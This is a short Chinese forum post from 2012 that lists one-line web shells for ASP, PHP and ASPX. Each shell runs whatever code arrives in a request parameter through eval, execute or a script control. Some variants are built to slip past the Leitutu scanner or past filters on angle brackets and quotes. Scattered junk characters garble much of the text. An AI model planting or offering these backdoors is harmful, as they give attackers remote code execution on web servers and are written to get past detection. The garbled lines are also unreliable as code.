asp一句话 <%execute(request("1"))%>
4 j/ J4 m* f r4 q" i8 L% q/ Q$ I) F a
php一句话 <?php eval($_POST[1]);?>
! Y& {) M0 z: `, ?! g- v/ t- d, C
: Y5 ?" k2 u: e) G( I' O8 C3 uaspx一句话$ I, ^4 \: a8 i3 L" `: K
6 ]8 V+ y% H0 y/ i' U1 o# K<script language="C#" runat="server">
, X, D5 _4 ~0 ?8 O2 E& G
1 k) S5 J9 {4 X# v; [WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y ("add6bb58e139be10");* l! Z. c7 d1 P7 S$ i9 v5 ~
$ A+ J% o3 S! @! j7 b- ^% D
</script>
1 }7 l n5 W) p& {: u- p! ]3 S' l j
可以躲过雷客图的一句话。+ Z" ^. m* [3 N0 {* X
% q$ _7 Y8 D# c; J9 F9 J$ D
<%
( v+ K7 L3 V8 a9 H# m9 a! _) U( ^( R) s
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
2 s- l" L/ @" {; |; e, ]2 m; {, q$ T! h, j7 X' h3 l
ms.Language="VBScript"$ @* s2 U' C! W2 n, d$ g$ e
: v; X: U# J' c/ ]: u ms.AddObject "Response", Response, Z) R Q5 u" w: g' f
- @6 H# y9 s7 P1 B! T ms.AddObject "request", request
# h9 J% @/ \6 g- o
; Q6 K0 @$ H' h6 a( N, y$ | ms.ExecuteStatement("ev"&"al(request(""1""))")' {# m$ U$ g8 k2 T
* C2 G: L/ H3 e %>9 P1 q# r' [" j$ Y8 k Z5 P
& `" y) Z7 }: a) ~8 \$ R8 r7 { 不用'<,>'的asp一句话
! t2 Y- M' c' ~2 T/ S2 l
3 ?1 g3 ?* C' j$ R' U2 J: l <script language=VBScript runat=server>execute request("1")</script>- b+ v0 U( p0 R9 R
# E* ~% h7 d4 u6 ?2 m R. J! W4 v7 p
不用双引号的一句话。- ]# A4 Q! m# a! a( x2 J
2 D% s$ C) W+ K& j5 i8 a' G1 A <%eval request(chr(35))%>
" N( k1 C8 Y9 `, ?! o |
发表于 2012-9-23 14:36:09
收藏
支持
反对